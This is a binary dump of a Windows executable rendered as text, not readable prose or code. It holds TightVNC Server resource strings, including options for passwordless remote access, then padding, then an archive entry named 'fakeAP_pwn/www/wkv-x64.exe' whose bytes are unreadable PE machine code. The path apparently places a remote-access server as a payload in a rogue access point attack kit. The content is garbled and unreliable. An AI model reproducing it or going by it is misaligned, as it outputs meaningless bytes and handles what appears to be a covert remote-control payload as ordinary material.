)(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%!!!%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!!!!!!!%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%W^ )(% <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Allow option to accept without authentication(Ȁ0MS Shell DlgP2&OKP2&CancelP2&ApplyP&?SysTabControl32Tab1Ȁ$About TightVNC ServerMS Shell DlgPWPP_W Swww.TightVNC.comPh TTightVNC Server version 1.3.10PhG&VBased on VNC software Copyright (C) 1999-2001 AT&&T Laboratories Cambridge Copyright (C) 2002-2003 RealVNC Ltd. http://www.realvnc.com/Pxr2&OKPh!#UCopyright (C) 2000-2006 Constantin Kaplinsky Copyright (C) 2000-2009 TightVNC Group Copyright (C) 2001-2004 HorizonLive.com, Inc. http://www.horizonlive.com/Ph O[build time unknown]PAȐAInitiate Outgoing Connection (Add New Client)MS Shell DlgP7P/OKP/CancelP+Host name:PQFormats host:display and host::port are supported. The default is to use display 0 or port 5500.P0 RNote: Host must be running VNC viewer in 'listen' mode.fAccept WinVNC Connection?MS Shell DlgPN5&AcceptPN5&RejectPWinVNC has received an incoming connection fromP <unknown host>P& Do you wish to Accept or Reject the connection?P: AutoReject:PFN_ Accept without &PasswordPA@P hMS Shell DlgP^ Sharing area P d 'Full desktop P d Primary display P ,d &Rectangular area P :6 %Window:PI$P6L "PA@P MS Shell DlgP?+Incoming connectionsP  Accept socket connectionsP C Primary password:PT3 P /C View-only password:PT/3 P?GDisplay or port numbers to use P! Auto P( /Display: P$# 0Ports: P  P$ P$ @and P$ P3 =(main)P3 >(HTTP)PHX,Input handlingP T Block remote input events$P c Block remote input on local activityPp; )Inactivity timeout: POp (Pkp" *secondsP ~ No local input during client sessionsP Blank screen on client connectionsPH9-When last client disconnects PTu 5Do nothing Pbu 6Lock workstation Ppu 7Logoff workstationPn ;Enable file transfersPn 4Remove desktop wallpaperPA@P MS Shell DlgPJ.Polling modesP x Poll foreground windowP x Poll window under cursorP .x Poll full screenP=1 9Polling cycle:PN= 1Pp= :msP+Window polling P} Poll console windows only P} Poll on event received onlyP4Mirror driver statusP>} No information - no clients connectedPTLMirror driver optionsP ` KEnable direct access to display driver's mirror screenPv+TroubleshootingP 8Don't use VNCHooks.DLL while polling full screenP JDon't use mirror display driver even if available@P wMS Shell DlgP9FAdministrationP  Disable empty passwordsP  Allow loopback connectionsP , Allow only loopback connectionsPD+NLoggingP O Log information to WinVNC.logP ] Log detailed debugging informationP+DHTTP serverPx Enable built-in HTTP serverPx Enable applet params in URLsP69EConnection priority PAx Disconnect existing connections POx Automatic shared sessions P]x Refuse concurrent connections+Apply the changes and close the dialog box.*Cancel any input and close the dialog box.PAAppShareNIn multi-monitor configurations, show only the primary display to VNC clients.CHere you can see information about using the mirror display driver.This option controls whether it is possible to connect to this computer with a VNC Viewer. Clearing the checkbox will ensure that remote connections won't be accepted.-Blank local screen when sharing the computer.PAThe display number determines which TCP ports will be used for accepting client connections. Display 0 corresponds to ports 5900 (VNC port) and 5800 (HTTP port), display 1 to ports 5901 and 5801 and so on.Users authenticated with the primary password are given full control over the server's desktop. Note that only first 8 characters of passwords are used in the standard VNC authentication.QUpdate handling options determine what methods are used to detect screen updates.Scan the whole screen contents for changes. Setting this option guarantees reliable update detection but can notably increase CPU usage. Note that polling is not used with mirror display driver.When set, window polling is performed only for console windows. Pixel changes in console windows cannot be detected by the hooks DLL, so this option is set by default.Poll the foreground (active) window. This is the default polling mode. Note that polling is not used with mirror display driver.WPoll the window under cursor. Note that polling is not used with mirror display driver.cWhen set, window polling is performed only on receiving keyboard or mouse events from a VNC viewer.Set this option to give higher priority to local keyboard and pointer. This blocks remote input while local keyboard or mouse is in use.CTCP port of the built-in Web server serving the Java viewer applet.STCP port used for VNC data exchange (pixel data, input events, file transfers etc.)Users authenticated with view-only password are allowed to view the server's desktop, but cannot control it with their mouse and keyboard. Note that only first 8 characters of passwords are used in the standard VNC authentication.When set, the HTTP server passes parameters from the URL to the Java viewer applet. For example, you could write http://myvnchost:5800/?view+only=yes&restricted+colors=yes-Change these options if something goes wrong.If set, no keyboard or mouse control will be allowed to remote VNC viewers. Toggling this option does not take immediate effect if there is at least one viewer connected.2Apply the changes but do not close the dialog box.When this option is set, the server will automatically find available port numbers, starting from port 5900 (corresponding to display 0). If built-in Web server is enabled, HTTP port will be set to VNC port minus 100.mIf set, local keyboard and mouse will be blocked while at least one VNC viewer is connected to this computer./Choose poling options for window polling modes. Advanced...iWhen a client connects, show a confirmation window allowing either to accept or to reject the connection.PAWait for the specified number of seconds, before the confirmation dialog will be closed and the default action will be performed.Normally, authentication is always required and empty passwords are not allowed. By unchecking this option, it's possible to allow VNC access without authentication. Note that passwordless access can be a security risk.Normally, authentication is required if the connection is accepted. Setting this option activates additional button to accept connection without authentication (remote user is not asked for a password).If set, don't allow any connections unless they are originated from the same machine. This can be used for testing purposes, or with port forwarding programs like SSH.Check this to increase amount of the information in the log file. There may be a lot of unnecessary data in the log, but this mode can be very useful for debugging and troubleshooting purposes.Normally, connections from the same machine are disabled. Checking this option allows such connections. This can be used for testing purposes, or with port forwarding programs like SSH.Check this to enable logging. The log file is called WinVNC.log (created in the current folder). If the TightVNC Server is running as a system service, the file is typically found in the Windows system folder.8Disconnect existing connections, accept new connections.6Preserve existing connections, refuse new connections.6Preserve existing connections, accept new connections.HEnable built-in Web server which can deliver Java viewer to Web clients.JSelect an area of the screen which you would like to share to VNC clients.Connect with AppShare KeyxWindow name. You cannot enter the text here. To choose a window to share, drag the "target" icon to the selected window. AppShare Key:GTo choose a window to share, drag this "target" to the selected window.hShare one partucular window. To choose a window to share, drag the "target" icon to the selected window.(Share a rectangular part of the desktop.)Share the whole desktop of this computer.hSpecify how many seconds should pass between local keyboard or mouse activity and enabling remote input.=Options controlling incoming connections from remote clients.3Controlling input events during client connections.CAction performed when last VNC client disconnects from this server.ESelect which parts of the screen should be scanned to detect changes.nSpecify a display number. The VNC port is calculated as 5900 plus display, the HTTP port is 5800 plus display.ISpecify arbitrary TCP port numbers for incoming VNC and HTTP connections.wSpecify how often polling should be performed. Lowering the value improves responsiveness but also increases CPU usage.?Reject the connection if the confirmation dialog was timed out.?Accept the connection if the confirmation dialog was timed out.Do not show the desktop wallpaper while at least one viewer is connected to this server. This both saves bandwidth and decreases CPU utilization on the server, resulting in better responsiveness of the remote desktop.ADo nothing when a viewer disconnects. This is the default option.TLock workstation on disconnect. This option is supported under Windows 2000/XP only.!Logoff workstation on disconnect.Full-screen polling can detect updates without using the hooks DLL, which is used by default to detect screen changes. Use this option for troubleshouting when the hooks DLL causes side effects in other applications.|When this option is set, remote viewers will be allowed to transfer any files between their local computers and this server.>Here you can choose a group of configuration settings to edit.PAjDefault action determines what should be done if the confirmation dialog was timed out with no user input.*Configuration of the built-in HTTP server.~Connection priority determines what to do if a VNC viewer requests non-shared session, and there is another connection active.Administration settings.THere you can specify which TCP ports should be used for incoming client connections.Don't ever try to use mirror display driver. Use this option for troubleshooting purposes. Note that toggling this option does not take immediate effect if there is at least one viewer connected.Use mirror driver's shared memory interface to access screen pixels. This method results in higher performance and is used by default.$Configure the mirror display driver.VChoose if local users should be prompted to accept or reject each incoming connection.WChoose whether to write information into a log file, and how much information to write. @4  (PA (PA (PA ( ( 4VS_VERSION_INFO  ?lStringFileInfoH040904b0;CommentsBased on VNC by AT&T Research Labs Cambridge, RealVNC Ltd.>CompanyNameTightVNC GroupTFileDescriptionTightVNC Win32 Server8 FileVersion1, 3, 10, 0.InternalNameWinVNCr'LegalCopyrightCopyright (C) 2000-2009 TightVNC Group(LegalTrademarks> OriginalFilenameWinVNC.exe PrivateBuildLProductNameTightVNC Win32 Server< ProductVersion1, 3, 10, 0 SpecialBuildDVarFileInfo$Translation  PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDfakeAP_pwn/www/wkv-x64.exe 777 0 0 341000 11437457046 10755 0MZ@ !L!This program cannot be run in DOS mode. $H })N.)N.)N.۴3.)N.۴#.)N.۴5.)N.)O.(N.<.)N.2.)N.6.)N.Rich)N.PEd;UK# ,7@!i9 G@.text+, `.rdata?@@0@@.data p@.pdata  |@@.rsrc9:@@H\$Ht$WH 3HH@2D.HT$0H@*A2A4BD$0&HcD8EuH\$8Ht$@H _H\$Hl$Ht$WHIIH+';HIAHD$0źD$4[2HT$0HOH 2H;uHHOK=qHO2HT$0HOH1H;GHHIAHD$0źD$41HT$0HOHy1H;u$3 0gHn1H]1\=!HOt1HT$0HOH"1H;HIH1H;u)H.H.0m=^HO0H;Ff;;Hf.HIH0Hk.=HIu203HS0HO03H90LЁ0HOH4<0HOLGa0HOLK0H74HL$8DF DΉt$ EHL$8-HOHd$ ^/LȺDH/=stLHOHd$ Dú/HO3H3L$I[IkIs I_H43HD1vE~4L vIH9t HA;|HcHI$HuHdHHXHpHx PATH0IMHفu3VH_LHH uO3 u~-LuIPH9t H;|HHIH\$(3H\$(HtZd$ HLMċHD$ "={u -̋t$HH\$(|$ uHK2UHc3H\$@Ht$PH|$XH0A\@UH HHU(HRH ]H\$Ht$WH0H}IHHHHu3U,L LHHHt$ j/H\$@Ht$HH0_H\$Hl$Ht$WH`H3AI,Hd$XHD$PHd$HHCL 2DHD$@$H։D$8$͉D$0$D$($D$ N-L\$`I[IkIs I_H(LQ3ɃH(3H(NMt)tt3$LIHARHP HMAP(H(H\$WH fAHu'fAt fAu H3PHK,fu HHP03H\$0H _@SH HHPLHAS0HK3D3H [HHXHp PHHWATAUH0MMHuIHLH rL3r~-HrHKH99t H;|HHHH\$ 3H\$ HHd$(HMMŋHLHD$(#=wu *̋t$XH\$ L\$(u@3r~4LrIH9t H;|HcHI$HqHdIMMŋHa+H\$`Ht$hH0A]A\_@UH HHUP>H ]HH%&+HHXHpWHPHHo@HHHx+~xHHH H +ƒ~c~^|Y3*O;}J|*DL$DAI;}2t)D$LHD$0A+D3҉D$(t$ e*H\$`Ht$hHP_H\$Ht$WH H3HH;AAKu#9\$PDH*H* 9\$PADDHH\$0Ht$8H _H%*H\$Ht$WH HcAE3ɺLH)tf f%DLƺHH\$0Ht$8H _H%)H\$Hl$Ht$WH IIHL`LXPtHt;t. t1=t=uOLIHAR?HMP2HP *HP"H3qOLHAS(ǃxt H HLLNj(H\$0Hl$8Ht$@H _H\$Ht$WH0HHLAHH,E3HPLLFH,E3HASLLF H,DHASLLFL i,H,HD$ AS >xw u9Xs3HLH,DHH\$@Ht$HH0_H`̸HHXHhHpHx ATH0IHAt&tHH u E3D9~1HH s t AHHD;|Hc8l39~W3LE$3H;>HL$ D$ HD$!D$)HcHT$ HAI;|HcGHtH wyLdH |={yuH JyAAGNy3N~H ,y91tXH;|3H8tutPH#/H tvHxMt7H xHuK"HcHxHxH uHu3#D xLxAH&Hc xD9;x}rx9px}dHOxHٍGH:xLcH MxLcBxH 3xBHc 0xHx4$xxHۍL8 xuH+)H^=wuH wAAFw3MH w91H;|wHAH\$@Hl$HHt$PH|$XH0A\̸@SH@d$0DL$(d$ LhiAHWHHc0CpC<@C8H@[H\$WH HIPIHOuHHu3H\$0H _H\$WHfd$(fd$*d$,HH)HHL$83AHD$ <HL$(3A*HL$0HA/HHT$ HHuHT$ HfD$*af@ H$H_H\$WH 3H9yP~H&Tf` ;{P|HHAHH` 39{P~HSfx ufH;{P|H\$0H _HHXHhHpHx ATH+HHH4HE3H$L3Ƅ$H$L3Ƅ$H$L3Ƅ$=rtLrH&H$)=ptH&H$nHEHP8HL$0Hd4AAHhH$L$HT$0H$ LH\$(HD$ H$ H 2=ptuH ?tAABCt3~H &t9tYH;|3H'8mptQH*H mqHsKHt7H sHuN"HcHsHsHpHu3D sLsAH!Hc sD9;{s}vws9es}hHDsHٍGH/sLcHBsLc7sH (sBHc %sHss sHۍL8 suH$L $H$H$LH$Hb0Au HH]iL$I[IkIs I{(IA\@SH@AHuH.3H0=ntH$H/HG2HL$ HT$ HH;2HA92AH/H@[H\$Hl$Ht$WH H*H3HHAX3nwHH;tpH0pXp HHHGH;tpH0pXp HHHGiH;tpH0pXp HHHG DH;tpH0pXp HH\$0Hl$8HG(@Ht$@H#LJHH$H`HH _H-døH\$Ht$WHPHH3H;Iu"H(McHXHB%B\,Mc@XLL$ D$ "H\$0\$8;E\$D<LcA14H\$`FTHt$hHP_̸H8HD$`HD$ ]H8H\$WH =3puH pAAD>p3~H o9tYH;|3H'80ltQH%H 0m_HoKDt7H ojHuN"HcHoHgoHkHu3qD zoLKoAHyHc DoD9;>o}v:o9(o}hHoHٍGHnLcHoLcnH nBHc nHnnnHۍL8 nuHHH\$0H _@SH H9HH "XH"HH=H H"HC)H H"HCH H"HCH H"HC H H"HC(H H"HC0H H"HC8HC@H [H8H9u%AE33D$ Yu3H8H\$Ht$WH HA$HH:HHH,0H !H!HLHsH~!LHW0HMuEH H y!H LDIsH\!LH 0HH\$0Ht$8H _H\$Hl$Ht$WH@AIH3H L\$8E3E3L\$ F;tIHL$8E3DH&;t1LD$pHL$8LL$0WD$0|$ &HL$8H\$PHl$XHt$`H@_H\$Ht$WH@IH30H L\$8E3E3L\$ ;tiHL$8DG@E3H;tPDD$xHT$pHL$8E3i;t4L$HL$8LL$0WD$0|$ fHL$8H\$PHt$XH@_HHXHhHpHx ATAUAVH@MIL`;AHL$AB3M3@t$@ H$AM3@$@ H$AM3@$@ HL$@LH H$@LHy ;vHŀt4@\4@6HHuH$@L$@HD$0$D͉D$(ILl$ BL$L\$0H$@LD$@D͋ID$(HD$ L$@I[ Ik(Is0I{8IA^A]A\HHXHhHpHx ATAUAVHPMIL;AH$QB3M3@$PZ HL$QM3@t$PF H$QM3@$P, H$PLH1 HL$PLH! ;vHH̀P\tP6HHuH$PLD$PHD$0DI̋D$(Ll$ I1I $L\$@E3E3L\$ ;t]HL$@H$PE3D;t5HL$@E3H$PEAf;tH$HD$@H HL$@(L$PI[ Ik(Is0I{8IA^A]A\HHXHhHpHx ATH`IHHi33HD$IHD$QfD$YD$[D$0HD$1HD$9fD$AD$CHD$HDgW@HD$(LLH@|$HDd$ D$AtXAHD$0LL$HLHD$(@HDd$ M3ҋM̊LHH0L/IuHT$0HL$HMHHuH$HT$0M-L\$`I[IkIs I{(IA\HHXHhHpLH WATAUAVAWHE3MLHHyEE?3Dxo+l$pHT$xLL$pHLDH0I8Dd$hHH(l$`HH t$XHH|$PHH\$HDHID\$@HH0DIDD$8DT$0T$(H LAU@ȉL$ H$Au[I  H$HHTHsH$I M+)E.I!AH$M,HH$D$D$D$L1H$,2A;$ tHZH$8-A;tHEH$8A;tH$L H$HHLHsH$H$LM@(E.I6uE.PH$(AH$8EE>&H$HtL$AI[0Ik8Is@IA_A^A]A\_HHXHhHpHx ATAUAVHLH3IM3!HH3H[=kAH$3M@$LL$HH$DHˉl$HHl$ \H3DE'HL$Q3@l$0HD$1HD$9fD$AD$C@l$P~]H$HL$0L~HD$P}HD$($LD$0DIHΉD$ D$C(HD$dLD$0DHD$($IHD$CD$ H$M3@$H$ M3@$ $@D$H$ H$HT$PH$s HT$XH$a HT$`H$O L$H$DmAAAAACAI+AMHuH$ H$L Hn;L\$hv CLIAI0HHuA;$rDI@L$ HLd$ "!H dž4  4L$I[ Ik(Is0I{8IA^A]A\HHXUVWATAUAVAWHPHz2E3HD4EGHPHE@Dx Dx Dx @ A;Ao?H$3LD$H$A3AD$@HWL$L$@HA;uHEGHL$h3H$fD$DB~KH$R3AfD$P-l$(H$L$33DHD$  H$PLCD33D$(HD$  HX3H$PD|$0HD$1HD$9fD$AD$CHL$0L$PD HL$ HH$L$LD$0LHD$hUAHD$(L$ HG3LL$hL$@HT$PHD|$PHD$QHD$YfD$aD$cA;W,B`;BlDjA;DtH$$Hz 6Hfh4ǃ4ǃ44AH$HPA_A^A]A\_^]HSH```I؉PLHE3@! tHD$HH3H`[LI[WHP$HH$HECȉD$(HcEKIKt wD$8d$<d$@d$DLL$ LúH H\$`HP_HSH````HH$PH@HHt D$@$d$PLL$ D$DH$E3HHD$H& H`[H(E3E3 E3E3HȺH(H%HHXHhHpHx AT H+L$hd$`HcH$IcLL$XHD$pH$E3H$HD`D$Xl$\AԉD$x$m$$L$E3AHHDŽ$$1G?L$h$A\$LL$XE3Hωt$\$D$XDŽ$L$E3HHAA;ċH$LL$ Lź-HƄ$HD$8Ƅ$Dd$(D$@oH$LL$ Lƺ-HHD$8Dd$(D$@?H$LL$ Lƺ.HHD$8Dd$(H$LL$ Lź.HHD$8Dd$(AD;3L$ I[IkIs I{(IA\HHXHhHpHx ATH DE3E3H;H~6HALǺ,Hnt EċHiH;|H\$0Hl$8Ht$@H|$HH A\H\$Ht$WH`Hc3AHHL$$DB<$3ɉD$<$L$$HL$(L$LLL$ LǺHΉD$H\$ H\$pHt$xH`_HHXHhHpHx ATH`IHE3E3L3ۅH~#Lcú,AIit$;|3L\$`I[IkIs I{(IA\Ht8d$0d$(LL$ E3ID$ \$$tHD$HHHtHhALcLL$ +D$0؃ D$,HhHHXWHPH``IILcLHȺ@"tHtD$(HtD$D3H\$`HP_H\$DL JLHAA3IDH?HL J?3IH?3A?3A1AE3QAAHH??3AH?3Aƒ?3H\$A1H\$Ld$Ll$BDDJAALD BL%AD BAD BD BAD BAD AA3%D3D3AA3%D3D3AAHHE AHD#A AAD A AHEҁD A E%D AHE҃A %D AH E҃A AHɃA A AAAA#HD уE`AH D#ûEA`%?D AHAA`%D AEA`%D AH EA`%D AHAA`AHA `A `AA#D E3A|,At&At AADAD AACDAD CDE#D AʃE# AA% A% A% AA# A%@ AA# A% A% A@ A% A% A% A%  A% A% A  A% A%@ A# A% A A%A#A҃ Aƒ  A%@ A% A% A A A% A A% A% A% A% A% A% A% A% A#AI A% AASH\$Ld$Ll$3H\$Ht$ WH BD IDBALD BAAL/ED BHAD BD BAD BAD AA3%D3D3AA3D3D3AA3%3333D3D3AA3ɁD3A3A3%3A3L$8D$0HT$0HL$8HT$8HL$0HuHHT$8HL$0}HT$0HL$8nHuHT$0HL$8YHT$8HL$0JHu܋T$8Ht$HDD3D$0AપA3D3D$0AA3%3D3A3%33333D3A3D33ыA3%D33DCˆSCCACACACH\$@H _H\$Hl$Ht$WATAUH fMADHH3PHf=OuH NOAARO3~H 5O9 tYH;|3H'8|KtQH+H |LHNK #t7H NHuN"HcHNHNHKHu3D NLN AHHc ND1;N}vN9tN}hHSNHٍFH>NLcH QNLcFNH 7NBHc 4NHN $NNHۍL0 NuH+HOHWL?tHHPMDAHH\$@Hl$HHt$PH A]A\_H\$Ht$WH HHK.H HNH HH3Ht HHHH\$0Ht$8H _tHHXHpHxL` AUH03DHLAHI;Ӻt AnD;Lo٤tQE3AIH\$ Wڤ~܋WؤڤSAAIH\$ !7E3AIH\$ Htڤ~֋([wD;HOH\$ t9$LAAE3AHÉ$H\$@Ht$HH|$PLd$XH0A]H\$Ht$WH 3yHHIlHHORHwHO;޺@2HH\$0Ht$8H _H%GH\$Hl$VWATAUAVH LHIIU3DbLE~e3LD$PItDIEHt$PAH8Lź,If\ uf$ f<ufdHA;|H\$XHl$`H A^A]A\_^H\$ UVWATAUAVAWHLHI3E3E3HȺ HA&E36H}E3E3HiuE3Hk3HD$(EAHD$ 33F'H-HL$ ~HDH~ƙuH4HHT$ HHH|L$ HI[IkIs I{(IA\H\$Hl$Ht$WATAUH0E33ۅMHtZ3D3HHL$ D$ HD$!D$)HT$ IADbD_A sH;rH\$PHl$XHt$`AL$B)H0A]A\_@SH03TE3E3HD$(`d$ eH0[@SH HHIHKE3DD[L[L[D[(D[H [HHXHhHpHx ATAUAVH0LHLMcfEF ATDD$ INAMHcAVAF$AV(MFINAD$ IFLI I"M^H\$PHl$XHt$`K8IcN(IFH|$hD$AF(AF(H0A^A]A\H\$WH0AHLAAD$ H~Hu HHtH\$@H0_@SH HH Ht H#cc H [Ht`H\$Ht$WH AHHu HXH؋Ha~HLcH-HHt$8Hc_ H\$0H _HHXUVWATAUAVAWHPE3HHA^EEAEDpLpDp@DpD8uL$7L$L5E< u]EuXHL$0L\$0H$MIHIEABH$A\$3DH!$<"uAsu@< tkEx7FD9<A~'LA9uHCHABII;<|܃;<|HDc@H\$`Hl$hH A^A]A\_^ڼH(Mu$fAAfAH##;v IIMPH(H\$Hl$Ht$WH HڋIIHHwXLLLHϋHA=Du5HLHLMLHHAHH*D؋GXH sAH\$0Hl$8Ht$@AH _HHXHhHpHx ATH@HHHu8Eu8%;uHH H8H<E3E33L~0d$8d$0E3EAID$(@Hd$ D;|H rshslHE3E3Jd$8E3ɋ׉t$0EA$HȁD$(XHd$ HL .Lú0H{XH\$PHl$XHt$`H|$hH@A\H%H\$Hl$Ht$WH 39HtX;uTHE3E3Hͺ;~1HALǺ,H tHHuԋHE3E32RH\$0Hl$8Ht$@H _H\$Ht$WH AHHHLD$0tT$0HHHt$@H\$8H _H\$Ht$ WH HHHE3E32HuLD$@HT$0H3tT$@HH3H\$8Ht$HH _HHXHhHpHx ATH`3LH9<IcHHPxHLL$ D$@HLƺ-\$(HD$8 M$LIAHHHtt#HLL$ Lƺ.\$(Hl$8;<nL\$`I[IkIs I{(IA\̸H\$Hl$VWATAUAVHE3DHD9qPA~@H[H@u LDHHAA;tfG fDw ;^P|HE3E3H؃xzHcH$DHA;tSH$fD9w uHE3Lź*fDw GuDHH0D9vtt D9vptfOHA;}D9vPAHtLfx u|LHHAPM $3AD$ LI̋HcAHDt$@H\$8E3ɉ|$0HD$(AQADt$ sIHDD9vtt D9vptfAL$;nPdE;tPD90t8AHED94t'HLL$PE3+D$`D$\L$I[8Ik@IA^A]A\_^HHIH`H\$Hl$Ht$WH 3HH9YP~2H5H@uLLHHAu;_P|3H\$0Hl$8Ht$@H _H@SH HPHt\APXuNHL$!AT$ :LHASpHt+DCPHL$ H貴HPLL$ E3vH [H\$Hl$Ht$WH03HH9Ypt 9YP~HDH@up;_P|M HHDOWPHȋGxLF`H[MDHT$0H4LHL\$0LD$0H=L\$ ժHH(AHD;f@\HHL$0I[ Ik(Is0IA]A\_HHXHhHpHx ATH AIHHuY39i@~ALHCHLLAHAHHHdHI;k@|HEHiPAuCAu6Au)AuiAuAu3H\$0Hl$8Ht$@H|$HH A\HH\$Hl$Ht$WH0Lc<HHHIH@HE3D9G@H~?MLHGHAIc HG`IHIH IIH@HLI ID;G@|HHP(HHϋR DG@HHDȉ\$ GxHH\$@Hl$HHt$PH0_W̸̃H\$WH HHHL$!3AD$ H$!3AƄ$ רHHLHAS@HT$ HL|LD$ HH$ -H$ HH$0H _H\$WH HHHL$!3AD$ HH$!3AƄ$ +LHAS@HT$ HLLD$ HSH$ 萧H$ HH$0H _H\$Hl$Ht$WATAUH0AHH33HnHH3ɽSHBHptuHDHHu HHHPHu`LtWE3D9g@~?E3HGHH@Jc (HIHHTHټHDID;g@|HHHE3E3AE3LHT$ EHtfHHMcĺ,tA +A3Ʌ|$pttHLD$ DHHt DE;}y3tuHDHHu LHHAPPH3H H\$PHt$`Hl$XH0A]A\_H(Q8tH H8H(H(Q8tH HP8H(3;H\$HT$UVWATAUAVAWH 3MH9<HHHHLHAD$Ht%AD$IL$ Ht J3Ʌ}AD$t]ID$ 